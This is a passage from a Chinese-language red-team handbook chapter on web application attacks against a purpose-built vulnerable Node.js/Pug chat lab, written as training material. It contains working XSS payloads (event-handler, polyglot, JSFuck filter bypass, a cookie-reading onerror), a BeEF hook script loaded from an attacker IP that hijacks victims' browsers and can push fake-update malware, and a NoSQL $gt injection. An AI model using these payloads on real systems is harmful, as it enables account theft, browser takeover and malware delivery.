请注意，由于本书第2版中的很多攻击方法没有改变，因此在本章练习中我们将不再重复SQLMap、IDOR攻击和CSRF漏洞等示例。我们将关注更新、更重要的攻击方法。

3.1　漏洞悬赏项目

在开始介绍如何挖掘网站应用程序漏洞之前，我们先来了解一下漏洞悬赏项目。我们经常被问到的问题：“我怎样才能在这些训练后继续学习？”我的建议是针对真实的应用系统。您可能整天在训练、做实验，但是如果没有真实的目标环境，您很难提升能力。

但有一点需要注意：平均而言，训练大约需要花费3～6个月的时间，之后您才能够持续发现漏洞。我们的建议：不要感到沮丧，与其他漏洞挖掘同行并肩前进，同时要经常挖掘旧程序的漏洞。

常见的漏洞悬赏项目是HackerOne、BugCrowd和SynAck，还有很多其他的项目，这些项目可以提供0～2万美元甚至是更多的奖金。

我的很多学生发现，查找漏洞的过程令人望而生畏。漏洞悬赏项目需要您深入了解项目，每天花费几个小时，并且要了解如何利用“第六感”来挖掘漏洞。通常来说，漏洞挖掘一个好的起点是从无赏金漏洞悬赏项目（专业人士不会在这里看）或者像Yahoo这样的大型、成立时间较长的网站开始。这些类型的站点往往具有大量的网络地址空间和很多传统的服务器。正如之前的书中所提到的，渗透测试规划很重要，漏洞悬赏项目也不例外。许多项目指定了可以做什么和不可以做什么（如不能扫描、不能使用自动化工具、哪些域名可以被攻击等）。有时您很幸运，项目允许对* .company.com开展漏洞挖掘，但有时可能只限于一个域名。

让我们以eBay网站为例，该网站有一个公开的漏洞悬赏项目。漏洞悬赏项目明确了指南、可以攻击的域名、有效的漏洞类型、禁止攻击的目标，以及如何报告和确认，如图3.1所示。

图3.1

如何向公司报告漏洞通常与发现漏洞同等重要。我们都希望能够为公司提供尽可能详细的信息，包括漏洞类型、严重性/关键性、漏洞产生的步骤、屏幕截图，甚至是漏洞触发样本。如果您需要创建完善的报告，请查看报告生成表单，如图3.2所示。

图3.2

在运行自己开发的漏洞利用程序之前，对于漏洞悬赏项目，有一点需要注意的是，我看到在一些案例中，研究人员在发现漏洞后，后续操作已不局限于验证漏洞。

举例说明，在找到SQL注入漏洞后，转储整个数据库，在接管子域名后用个人认为有趣的内容修改页面，甚至执行远程代码漏洞后，在生产环境中横向渗透。上述行为都有可能导致法律纠纷，并可能让联邦调查人员出现在您的家门口。因此，请您做出最理智的判断，确定项目的范围，并记住如果感觉想要做的事是违法的，那么它很可能就是违法的。

3.2　Web攻击简介——网络空间猫

完成侦察和探测后，您需要回顾和分析找到的所有各类站点。查看结果，未发现存在漏洞或者配置错误的应用程序。没有任何Apache Tomcat服务器或者存在Heartbleed/ShellShock漏洞的服务器，似乎所有Apache Strut及其CMS应用程序漏洞都已经被打上补丁了。

此时直觉可能会开始发挥作用，您开始在客户支持系统应用程序中探索。有些东西感觉不对劲，但是从哪里开始呢？

本章中提到的所有攻击方法，都可以在本书自定义的VMWare虚拟机中重复实验。虚拟机可以在本书配套资源中免费获得。

设置Web演示环境（客户支持系统）。

下载本书定制的虚拟机。

下载实验的完整命令列表。

https://github.com/cheetz/THP-ChatSupportSystem/blob/master/lab.txt

http://bit.ly/2qBDrFo

启动并登录虚拟机。

虚拟机完全启动后，显示应用程序的当前IP地址。您无须登录VM，也无须提供密码，即可开始查找应用程序漏洞。

由于这是在您自己的主机系统上托管的网站应用程序，因此需要在攻击者Kali系统上创建主机名记录。

在攻击者Kali虚拟机上编辑主机文件，通过主机名或者IP地址指向被攻击的应用程序。

gedit/etc/hosts

添加以下行，IP地址指向被攻击的应用程序。

[存在漏洞应用程序IPAddr] chat

现在，在Kali的浏览器中访问http://chat:3000/。如果一切正常，您应该能够看到Node.js自定义漏洞应用程序。

本节的命令和攻击方法可能非常多而且复杂。为了方便起见，我在下面文件中列出了每个实验所需的所有命令。

https://github.com/cheetz/THP-ChatSupportSystem/blob/master/lab.txt。

3.2.1　红队网站应用程序攻击

本书的前两个版本着重于介绍如何有效地测试网站应用程序，这个版本则有所不同。我们将跳过许多基本的攻击方式，重点介绍现实世界中使用的攻击方式。

由于这是一本实战性很强的书，因此我们不会详细介绍网站应用程序测试的所有细节。但是，这并不意味着所有细节都会被忽略。有一个很好的Web 应用程序测试信息的资源是 Open Web Application Security Project（OWASP）。OWASP主要是在应用程序安全性方面引导和教育用户。每隔几年，OWASP会编制一份常见问题清单并将其发布给公众。由于许多读者都试图进入安全领域，因此我想提醒大家的是，如果您想从事渗透测试工作，那么至少必须知道OWASP安全威胁的前十名。您不仅应该知道前十大漏洞是什么，还应能够根据风险的类型举出每个漏洞的例子，并且知道如何发现这些漏洞。现在，让我们来模拟演示如何突破网络空间猫公司。

3.2.2　聊天支持系统实验

将受到攻击的聊天支持系统实验构建为交互式，特点是包括新旧漏洞。正如您看到的，在下面的实验中，我们提供了一个具有聊天支持系统的定制版本的虚拟机。

应用程序本身是用Node.js编写的。为何选择Node？作为渗透测试人员，Node是发展速度较快的应用程序之一。由于许多开发人员似乎非常喜欢Node，因此我觉得了解后端代码JavaScript运行时存在的安全隐患非常重要。

什么是Node

Node.js是一个基于Chrome的V8 JavaScript引擎，实时运行JavaScript代码。由于Node.js是事件驱动的非阻塞I/O模型，因此具有小巧和高效的特点。Node.js的包生态系统NPM是一个开源库生态系统。

Node.js的基本功能是允许您在浏览器之外运行JavaScript。由于Node.js具有精简、快速和跨平台的特点，因此它可以通过统一堆栈简化项目。虽然Node.js不是网站服务器，但它可以在服务器（您可以用JavaScript编程）环境运行，而不只是网站客户端。

其优点包括以下几点。

非常快。

单线程JavaScript环境，可以充当独立的Web应用程序服务器。

Node.js不是协议，它是一个用JavaScript编写的Web服务器。

NPM目前有近50万个免费的、可重用的Node.js代码包。

随着Node.js在过去几年变得越来越受欢迎，对于渗透测试人员/红队来说，了解要查找的内容以及如何攻击这些应用程序变得非常重要。例如，一位研究人员发现，弱NPM凭证使得他能够编辑/发布13%的NPM包。通过依赖链，大约有52%的NPM包容易受到攻击。

在以下示例中，我们的实验将使用Node.js语言作为应用程序开发的基础，使用Express框架作为Web服务器。然后，我们将Pug模板引擎添加到Express框架中，如图3.3所示。这类似于新开发Node.js应用程序使用的模式。

图3.3

Express是采用Node.js语言的小型化网站框架。Express为网站和移动应用程序提供了一组强大的功能，您无须做很多事情。使用名为Middlewares的模块可以添加第三方认证或服务，例如Facebook认证或者Stripe支付处理服务。

Pug 的正式名称为Jade，是一种服务器端模板引擎，您可以（但不必）与Express一起使用。Jade在服务器上自动生成HTML并将其发送到客户端。

我们开始模拟攻击聊天支持系统，首先启动聊天支持系统虚拟机。

3.3　网络空间猫公司：聊天支持系统

假如您偶然发现了网络空间猫聊天支持系统对外开放。当您慢慢浏览所有页面时，可以了解底层系统，并在应用程序中查找弱点。您需要在服务器中找到第一个入口，从而进入生产环境。

您首先浏览所有漏洞扫描程序和网站应用程序产生的扫描程序报告，但是毫无收获。看来这家公司定期运行常用的漏洞扫描程序并修补了大部分问题。系统突破现在依赖于编码问题、错误配置和逻辑缺陷。您还注意到此应用程序正在运行Node.js，这是一种目前非常流行的语言。

3.3.1　搭建您的网站应用程序攻击主机

虽然针对网站应用程序，红队没有完整的工具清单，但您需要配备的一些基本工具包括以下几种。

配备多个浏览器。许多浏览器的响应方式、行为都不同，尤其是在复杂的XSS规避方面。

Firefox（我常用的测试浏览器）

Chrome

Safari

Wappalyzer：一种跨平台的实用程序，可以发现网站应用的技术。它可以检测内容管理系统、电子商务平台、网站框架、服务器软件和分析工具等。

BuiltWith：网站分析器工具。在查找页面时，BuiltWith会返回它在页面上可以找到的所有技术。BuiltWith的目标是帮助开发人员、研究人员和设计人员找出页面正在使用的技术，这可以帮助他们决定自己要采用什么技术。

Retire.js：扫描Web应用程序，发现易受攻击的JavaScript库。Retire.js的目标是帮助您检测已知漏洞的版本。

Burp Suite：虽然这个商业工具有点贵，但对于渗透测试者/红队来说绝对物有所值。它的主要优点是附加组件、模块化设计和用户开发基础。如果您觉得Burp价格太高，那么OWASP ZAP（免费）也许是一个很好的替代品。

3.3.2　分析网站应用程序

在进行任何类型的扫描之前，尝试理解底层代码和基础结构非常重要。我们怎样才能知道后端运行的是什么程序？我们可以使用Wappalyzer、BuiltWith或者Google Chrome浏览器。在图3.4中，当加载聊天应用程序时，我们可以看到HTTP头中包括X-Powered By：Express。使用Wappalyzer，我们还可以发现应用程序正在使用Express和Node.js。

图3.4

在盲目攻击网站之前，了解应用程序可以帮助您找到更好的方法。对于那些可能配备网站应用程序防火墙的目标站点，了解应用程序同样会帮助您隐蔽更多的攻击行为。

3.3.3　网络发现

在本书前两版中，我们详细介绍了如何使用Burp Suite以及如何对站点进行渗透测试。我们将跳过很多设置的基础知识，并更多地关注攻击网站。

在这一点上，我们假设您已经设置了Burp Suite（免费版或付费版），并且您使用的是本书的 Kali虚拟机镜像。一旦掌握了网站的底层系统，就需要识别所有端点。我们仍然需要运行之前使用的检测工具。

（1）Burp Suite。

Spidering：无论是免费版还是付费版，Burp Suite都有一个很棒的爬虫工具。

内容发现：如果您使用的是付费版本的Burp Suite，则Engagement是一个较受欢迎的发现工具。这是一个智能高效的探测工具，可以查找目录和文件，而且可以指定多个不同的扫描配置。

主动扫描：对所有参数进行自动漏洞扫描，并测试多个网站漏洞。

（2）OWASP ZAP。

类似于Burp，但是完全开源并且免费。具有类似的发现和主动扫描功能。

（3）Dirbuster。

一个永久存在的工具，用于发现Web应用程序的文件/文件夹，效果不错。

目标网址：http://chat:3000。

字典。

/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

（4）GoBuster。

非常轻量级、快速的目录和子域名“爆破”工具。

gobuster -u http://chat:3000 -w/opt/SecLists/Discovery/Web-Content/raft-small- directories.txt -s 200,301,307 -t 20。

字典非常重要。我喜欢使用的是一个名为raft的旧字典，它来自于多个开源项目。

现在简要介绍一下攻击的整个过程。从红队的角度来看，我们要查找可以主动攻击的漏洞，并提供最大的帮助。如果进行审计或者渗透测试，那么我们可能会报告漏洞扫描程序中发现的SSL漏洞、默认Apache页面或不可利用的漏洞。但是对于红队来说，我们可以完全忽略这些，专注于获得高权限、Shell或个人身份信息。

3.3.4　跨站脚本（XSS）

查看并测试跨站脚本（XSS）漏洞。使用传统的XSS攻击方法<script>alert(1) </script>，测试网站上的每个变量，这对于漏洞悬赏项目非常有帮助，但我们还可以做什么？我们可以使用哪些工具和方法更好地完成这些攻击？

因为我们都知道XSS攻击是客户端攻击，允许攻击者定制网站请求，将恶意代码注入响应数据包中。这个问题通常可以通过客户端和服务器端的正确输入验证进行修复，但是实际上并不是那么容易。为什么？这是由多种原因造成的，例如，编码质量不高、框架不熟悉，应用程序过于复杂，导致很难了解输入的位置。

因为警报弹出框确实没有真正的危害，所以让我们开始一些基本类型的XSS攻击。

Cookie窃取XSS。

强制下载文件。

重定向用户。

其他脚本启用键盘记录器和拍摄照片等。

XSS静荷混淆/多语言

目前，标准的XSS静荷仍然可以正常运行，但我们确实会发现应用程序阻止某些字符，或者在应用程序前面有网站应用防火墙。

在评估期间，您有时候可能会遇到简单的XSS过滤器，它们会查找<script>之类的字符串。混淆XSS静荷是一种选择，但是同样需要注意的是，并非所有JavaScript静荷都需要打开和关闭<script>标记。有一些HTML事件属性在触发时执行JavaScript，这意味着任何只针对Script标签的规则毫无用处。例如，执行JavaScript的这些HTML事件属性位于<script>标记之外。

<b onmouseover=alert('XSS')>Click Me!</b>。

<svg onload=alert(1)>。

<body onload="alert('XSS')">。

<img src="http://test.cyberspacekittens.com"onerror=alert(document.cookie);>。

您可以通过访问应用程序（记得修改/etc/host文件，指向虚拟机应用程序），尝试针对聊天支持系统应用程序中的每个HTML实体实施攻击。访问聊天支持系统后，注册一个账户，登录该应用程序，然后访问聊天功能。您可以尝试不同的实体攻击和混淆的静荷，如图3.5所示。

图3.5

其他XSS资源如下。

第一个是由@jackmasa制作的思维导图，如图3.6所示。这是一个很棒的文档，它根据输入的位置分解不同的XSS静荷。

图3.6　JackMasa跨站脚本思维导图

另一个资源介绍了各种浏览器容易受到哪些XSS静荷的攻击：HTML5 Security Cheatsheet。

正如您所看到的，尝试在应用程序中查找各种XSS漏洞很烦琐，这是因为静荷的参数受代码功能、不同类型的HTML标记、应用程序类型和不同类型的过滤机制影响。尝试找到最初的XSS弹出窗口可能需要很长的时间。如果我们尝试将多个静荷放到单个请求中，会怎么样呢？

这种类型的静荷称为多语言静荷（Polyglot）。Polyglot静荷采用多种不同类型的静荷/混淆技术，并将它们编译成一个静荷。这种静荷对于采用自动脚本查找XSS，有限时间的漏洞悬赏项目或者仅仅快速查找输入验证问题非常有帮助。

因此，我们可以不使用常规的<script>alert(1)</script>，而是构建下面的多语言静荷。

/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert())//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/ </scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e。

如果您查看上面的静荷，那么这个静荷尝试采用注释、点和斜线规避检测；执行onclick XSS；关闭多个标签；最后尝试onload XSS攻击方法。集成这些类型的攻击方法使Polyglots在识别XSS方面非常高效。

如果您想测试和使用不同种类的多语言静荷，那么可以从易受攻击的XSS页面或聊天应用程序开始。

3.3.5　BeEF

浏览器漏洞利用框架（BeEF）将XSS攻击提升到新的层面。这个工具将JavaScript静荷注入被攻击者的浏览器，感染用户的系统。这会在被攻击者的浏览器上创建一个命令和控制通道，以便JavaScript后期利用。

从红队的角度来看，BeEF是一个很好的工具，可用于各类攻击行动中，包括跟踪用户、捕获凭据、执行单击劫持和钓鱼攻击。即使不用在攻击场景，BeEF也是一个很好的工具，可以展示XSS漏洞的巨大危害。BeEF对于更复杂的攻击也有帮助，我们将在后面的盲XSS攻击中进行讨论。

BeEF 分为两部分：一部分是服务器，另一部分是攻击静荷。启动服务器的步骤如下。

在您的攻击Kali主机上启动BeEF。

终端。

BeEF-xss

BeEF鉴权beef:beef。

查看http://127.0.0.1:3000/hook.js。

完整静荷钩子文件如下。

<script src="http://<Your IP>:3000/hook.js"></script>

查看位于http://127.0.0.1:3000/hook.js上的hook.js文件，您将看到很长的、像是JavaScript的混淆代码。这是被攻击者客户端静荷，用于回连命令和控制服务器。

一旦在目标应用程序上找到XSS漏洞，不要使用原始的alert(1)样式静荷，您可以修改<script src="http://<Your IP>:3000/hook.js"></script>静荷来利用此漏洞。一旦被攻击者执行这个静荷，其浏览器将成为“僵尸”网络的一部分。

BeEF支持哪些类型的后期攻击？一旦被攻击者在您的控制之下，您就可以做任何JavaScript可以做的事情。您可以通过HTLM5打开相机并拍摄被攻击者的照片，可以在屏幕上叠加图片以捕获凭据，也可以将其重定向到恶意网站以执行恶意软件。

以下是BeEF基于XSS漏洞、开展攻击的过程展示。

首先，确保BeEF服务器运行在攻击者计算机上。在聊天支持系统的应用程序（存在漏洞）中，您可以访问http://chat:3000/xss并在练习2中输入您的静荷。

<script src="http://127.0.0.1:3000/hook.js"></script>

一旦被攻击者连接到僵尸网络，您就可以完全控制其浏览器。您可以在设备、浏览器和启用的功能基础上，开展各种类型的攻击。采用社会工程策略，通过Flash Update提示推送恶意软件，可以很好地演示XSS攻击过程，如图3.7所示。

图3.7

执行攻击后，在被攻击者的计算机上显示弹出窗口，引诱安装更新软件，其中包含附加的恶意软件，如图3.8所示。

图3.8

本书建议您花一些时间研究所有BeEF的后期利用模块，并了解JavaScript的强大功能。因为我们已经控制了目标的浏览器，所以需要弄清楚如何在红队活动中发挥作用。在发现了 XSS 漏洞并感染了目标主机，您还想做些什么？我们将在下一部分讨论这个问题。

3.3.6　盲XSS

盲XSS很少被讨论，因为它需要用户极大的耐心。什么是盲XSS？顾名思义，盲XSS是指执行存储的XSS静荷时，攻击者/用户看不到回显结果，仅有管理员或者后端工作人员才能看到。虽然这种攻击方式对于后端用户可能是非常致命的，但它经常会被遗漏。

假设某个应用程序有一个“联系我们”的页面，允许用户向管理员提供联系信息，以便以后联系。由于该数据的结果只能由管理员手动查看，因此请求用户是看不到的，如果应用程序存在XSS漏洞，则攻击者不会立即看到“alert(1)”的攻击效果。在这些情况下，我们可以使用XSS Hunter工具，验证盲XSS。

XSS Hunter的工作原理是，当JavaScript静荷执行时，截取被攻击者屏幕（他们正在查看的当前页面），并将屏幕截图发送回XSS Hunter的站点。当收到屏幕截图后，XSSHunter将发送静荷已执行的通知，并提供所有的详细信息。我们现在可以创建一个恶意的静荷，重新开始攻击。

禁用任何代理（Burp Suite）。

在XSS Hunter上创建账户。

登录XSS Hunter。

跳到静荷页面，选择静荷。

修改静荷，以便适应您的攻击方式或者构建多语言静荷，如图3.9所示。

检查XSS Hunter，查看静荷执行情况，如图3.10所示。

图3.9

图3.10

3.3.7　基于文档对象模型的跨站脚本攻击

理解反射和存储的跨站脚本（XSS）攻击相对简单。正如我们所了解的，服务器没有对用户/数据库的输入/输出进行充分验证，导致恶意脚本代码通过网站源代码形式呈现给用户。但是，在基于文档对象模型（DOM）的XSS攻击中，有些不同的地方，使用户产生了一些常见的误解。因此，我们需要花些时间来了解基于DOM的XSS。

当攻击者操纵网站应用程序的客户端脚本时，可以采用基于DOM的XSS攻击方式。如果攻击者将恶意代码注入文档对象模型中，并且强制客户端的浏览器读取恶意代码，则静荷将在读取数据后执行。

DOM究竟是什么？文档对象模型（DOM）是HTML属性的表示方法。由于您的浏览器无法解析这种HTML属性，因此需要解释器将HTML属性转化为DOM。

让我们浏览一下聊天支持网站。查看存在漏洞的网站应用程序，您应该能够看到聊天站点存在XSS漏洞。

创建一个账户。

登录。

跳到聊天页面。

输入<script>alert(1)</script>，然后输入一些疯狂的XSS静荷！

在示例中，我们在服务器端配置Node.js环境，socket.io（Node.js的库）在用户和服务器之间创建Web套接字，客户端支持JavaScript和msg.msgText JavaScript脚本。正如图3.11和页面的源代码所示，您不会看到“警报”对话框直接弹出静荷，而在标准的反射/存储的 XSS 可以看到。在这里，我们收到的唯一提示表明来自于msg.name引用的静荷可能被调用了。有时候我们很难推断出静荷执行的位置，或者是否需要跳出HTML标记执行静荷。

图3.11

3.3.8　Node.js中的高级跨站脚本攻击

XSS漏洞反复出现的一个重要原因是，仅通过过滤标签或某些字符的方式很难防范该攻击方式。当静荷针对特定语言或框架进行定制时，XSS很难防御。每种语言在漏洞利用方面都有其独特之处，Node.js也是这样。

在本节中，您将看到一些特定语言如何实现XSS漏洞的例子。Node.js网站应用程序使用一种更常见的Web堆栈和配置文件。实现方式包括Express框架和Pug模板引擎。需要注意的是，默认情况下，除非通过模板引擎进行渲染，否则Express确实没有内置的XSS防护机制。当使用像Pug这样的模板引擎时，有两种常见的方法可以找到XSS漏洞：通过字符串插值和缓冲代码。

模板引擎有一个字符串插值的概念，这是表示字符串变量占位符的一种奇特方式。例如，我们可以用Pug模板格式为变量指定一个字符串。

\- var title = "This is the HTML Title"

\- var THP = "Hack the Planet"

h1 #{title}

p The Hacker Playbook will teach you how to #{THP}

注意，＃{THP}是THP之前分配变量的占位符。我们通常看到这些模板用于电子邮件分发消息。您是否收到过自动系统转发的电子邮件，内容是Dear ${first_name}…，而不是您的真实名字？这正是模板引擎运行的方式。

当上面的模板代码呈现为HTML时，它将如下所示。

<h1>This is the HTML Title</h1>

<p>The Hacker Playbook will teach you how to Hack the Planet</p>

幸运的是，在这种情况下，我们使用“＃{}”字符串插值，这是Pug插值的转义版本。如您所见，通过使用模板，我们可以创建可重用的代码，而且模板非常轻巧。

Pug 支持转义和非转义字符串插值。转义和未转义之间的区别是什么？好吧，使用转义字符串插值将对<、>、'和“等字符进行HTML编码。这将有助于对用户输入进行验证。如果开发人员使用非转义字符串插值，那么通常会导致XSS漏洞。

此外，字符串插值（变量插值、变量替换或变量扩展）用于评估一个或多个占位符的字符串文字，结果是其中占位符替换为其对应的值。

在Pug中，转义和非转义字符串插值介绍如下。

！{}，非转义字符串插值

＃{}，虽然转义字符串插值是转义的，但是，如果直接通过JavaScript传递它，仍然可能存在XSS漏洞

在JavaScript中，未转义的缓冲区代码以“！=”开头。“！=”之后的任何内容都将自动作为JavaScript执行。

只要允许插入原始HTML，就可能存在XSS漏洞。

在现实世界中，我们已经看到许多存在XSS漏洞的案例，原因是开发人员忘记了代码所处的上下文以及输入被传递的位置。让我们看看存在漏洞的聊天支持系统应用程序中的一些示例。访问虚拟机上的URL地址：http://chat:3000/xss。我们将逐步完成每一个练习来了解Node.js/Pug XSS。

练习1（http://chat:3000/xss）

在本例中，我们将字符串插值转义为段落标记。这是不可利用的，因为我们在HTML段落上下文中使用了正确的转义字符串插值符号。

访问http://chat:3000/xss，然后单击Exercise #1。

Pug模板源代码。

p No results found for #{name1}

尝试输入并提交以下静荷。

<script> alert(1)</script>

单击Exercise #1并查看，无结果输出。

查看HTML响应（查看页面的源代码），如图3.12所示。

&＃x3C; script&＃x3E; alert(1)&＃x3C;/script&＃x3E;

图3.12

单击提交后，查看页面源代码（<Ctrl + U>组合键）并搜索单词“alert”，您将看到静荷的特殊字符转换为HTML实体。在浏览器中，可以看到脚本标记，但没有呈现为JavaScript。这种字符串插值的使用方式是正确的，并且确实没有办法突破这个场景来找到XSS漏洞。下面让我们看一些糟糕的实现。

练习2

在本例中，我们在段落标记中使用“!{}”表示非转义字符串插值。这种方式容易存在XSS漏洞。任何基本的XSS静荷都会触发漏洞，例如<script>alert(1)</script>。

跳到练习＃2。

Pug模板源代码。

p No results found for !{name2}

尝试输入静荷。

<script>alert(1)</script>

回应。

<script>alert(1)</script>

单击提交后，我们应该看到弹出窗口。您可以通过查看页面源代码并搜索“alert”进行验证，如图3.13所示。

因此，当提交用户输入时，使用非转义字符串插值（!{name2}）会导致很多麻烦。这是一种糟糕的做法，不能用于处理用户提交的数据。输入的任何JavaScript代码都将在被攻击者的浏览器上执行。

图3.13

练习3

在这个例子中，我们在动态内联JavaScript中转义了字符串插值。这意味着代码受到保护，因为它被转义了，对吧？未必。这个例子存在漏洞，原因是输入所处的代码上下文。我们在Pug模板中看到，在转义插值之前，我们实际上是在一个脚本标记内。因此，任何JavaScript（即使是转义的）都会自动执行。因为在脚本标记内，所以静荷中不需要<script>标记。我们可以直接使用JavaScript，例如alert(1)。

（1）跳到示例＃3。

（2）Pug模板源代码。

Pug。

var user3 = #{name3};

p No results found for #{name3}

（3）此模板将解析成下面的HTML格式。

<script>。

<p>No results found for [escaped user input]</p>。

</script>。

（4）尝试输入静荷。

1;alert(1)。

（5）单击提交后，我们应该看到弹出窗口。您可以通过查看页面源代码并搜索“alert”进行验证。

有一个小小的改变，正确的写法是在插值周围添加引号。

（6）Pug模板源代码。

script。

varuser3 =“＃{name3}”

练习4

在这个例子中，Pug非转义代码由“! =”表示，因为没有转义，所以程序很容易受到 XSS 攻击的影响。因此，在这种情况下，我们可以在输入字段添加简单的“<script> alert(1)</script>”样式实施攻击。

Pug模板源代码。

p != 'No results found for '+name4

尝试输入静荷。

<script>alert(1)</script>

单击提交后，我们可以看到弹出窗口。您可以通过查看页面源代码并搜索“alert”进行验证。

练习5

假设我们访问一个使用转义字符串插值和某种类型过滤的应用程序。在下面的练习中，我们在Node.js服务器中执行最小的黑名单过滤脚本，删除“<”“>”和“alert”等字符。但是，再次错误地将转义字符串插值放在脚本标记中。如果可以在那里放置JavaScript脚本，就可以实施XSS攻击。

跳到示例＃5。

Pug模板源代码。

name5 = req.query.name5.replace(/[;'"<>=]|alert/g,"")

script

varuser3 =＃{name5};

尝试输入静荷。

尝试使用alert(1)，但由于过滤器，这个操作并起作用。还可以尝试<script>alert(1) </script>，但是转义代码和过滤器阻止执行。如果想执行alert(1)静荷，那么该如何做呢？

我们需要弄清楚如何规避过滤器，插入原始JavaScript。JavaScript非常强大并且具有很多功能。我们可以利用这些功能来生成一些有创意的静荷。规避这些过滤器的一种方法是使用深奥的JavaScript表示法。这可以在JSFuck的站点创建。正如您下面看到的，通过使用中括号、小括号、加号和感叹号，我们可以重新创建规则alert(1)。

JSFuck静荷。

[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[]) [!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()

如您所知，许多浏览器已开始集成XSS防护机制。我们已经使用这些静荷来绕过某些浏览器保护机制，如图3.14所示。在Kali之外，您可以尝试在实际使用的浏览器中加载这些静荷，例如Chrome。

图3.14

对于复杂的应用程序，很难保证不出现XSS漏洞。对于框架如何处理输入和输出，很容易出现理解错误或者忘记处理的情况。因此，在对Pug/Node.js应用程序执行源代码审查时，在源代码中搜索 !{、＃{或`$ {有助于找到XSS的位置。了解代码上下文以及是否需要在该上下文中进行转义至关重要，我们将在后面的示例中认识到这一点。

虽然上面的攻击方式是针对Node和Pug系统的，但是其实每种语言都存在XSS漏洞和输入验证的问题。您不需要运行漏洞扫描程序或XSS模糊测试工具，找到所有XSS漏洞，您需要做的是了解所使用的语言和框架。

3.3.9　从XSS漏洞到突破目标

我经常遇到的一个问题是，如何从 XSS 漏洞拓展，实现获取 Shell？虽然有很多不同的方式实现这个目标，但我们通常会发现，如果可以在内容管理系统（CMS）或类似设备中找到用户-管理员类型的XSS，那么就能够完全突破系统。全部的演示示例和代码可以在Hans-Michael Varbaek处获取。Hans-Michael提供了一些关于从XSS漏洞到远程执行攻击的精彩示例和视频。

我喜欢使用自定义红队攻击方式，主要是借助JavaScript的功能。我们通过BeEF（Browser Exploitation Framework，浏览器开发框架）了解到JavaScript非常强大。因此，我们可以利用所有这些功能，对不知情的被攻击者实施攻击。这个静荷会做什么？攻击的一个示例是让被攻击者的计算机运行JavaScript XSS静荷，获取被攻击者的内部（自然）IP地址。然后，我们基于这些 IP 地址，使用静荷扫描其内部网络。如果找到了一个已知的 Web应用程序，那么在不进行身份验证的情况下即可突破，我们可以发送恶意静荷到该服务器。

例如，我们的目标可能是Jenkins服务器，在未经身份验证的情况下，可以完成远程代码的执行。要查看XSS与Jenkins突破的完整过程，可参阅第5章中关于使用社会工程学渗透内部Jenkins服务器的内容。

3.3.10　NoSQL数据库注入

在本书的前两版中，我们花费相当长的时间介绍如何使用SQLMap进行SQL注入。除增加一些混淆以及集成到Burp Suite工具以外，本书与第2版在这方面相比没有太大变化。但是我想深入研究NoSQL注入，因为这些数据库变得越来越普遍。

MySQL、MS SQL和Oracle等传统SQL数据库依赖于关系数据库中的结构化数据。这些数据库是关系型的，这意味着一个表中的数据与其他表中的数据有关。这使执行查询操作很方便，例如“给我列出所有在过去30天内购买东西的客户”。这些数据的问题在于整个数据库中数据的格式必须保持一致。NoSQL数据库中的数据通常不遵循SQL查询数据库中的表格/关系模型。这些数据称为“非结构化数据”（如图片、视频和社交媒体），并不适用于我们大量收集数据。

NoSQL特性如下。

NoSQL数据库类型：Couch/MongoDB。

非结构化数据。

水平增长。

在传统的SQL注入中，攻击者会尝试跳出SQL查询，并在服务器端修改查询操作。使用NoSQL注入，攻击可以在应用程序的其他区域中执行，而不是在传统的SQL注入中执行。此外，在传统的SQL注入中，攻击者会使用标记来跳出语句。在NoSQL注入攻击中，NoSQL漏洞通常是由于字符串解析或者赋值操作造成的。

NoSQL注入中漏洞通常在以下情况下发生：向NoSQL数据库提出请求，端点接收JSON数据；我们能够操纵NoSQL查询，使用比较运算符更改操作查询。

NoSQL注入的一个常见例子是注入以下的数据：[{"$gt":""}]。这个JSON对象的含义是运算符（$gt）大于NULL ("")。由于逻辑上所有内容都大于NULL，因此JSON对象始终是正确的，允许我们绕过或注入NoSQL查询。这相当于SQL注入中的[' 或者 1=1--]。在MongoDB中，我们可以使用以下条件运算符之一。

(>) 大于 - $gt。

(<) 小于 - $lt。

(>=) 小于或等于 - $gte。

(<= ) 小于或等于 - $lte。

1．攻击客户支持系统NoSQL应用程序

我们来了解聊天应用程序中的NoSQL工作流程。

在浏览器中，通过Burp Suite进行代理，访问聊天应用程序：http://chat:3000/nosql。

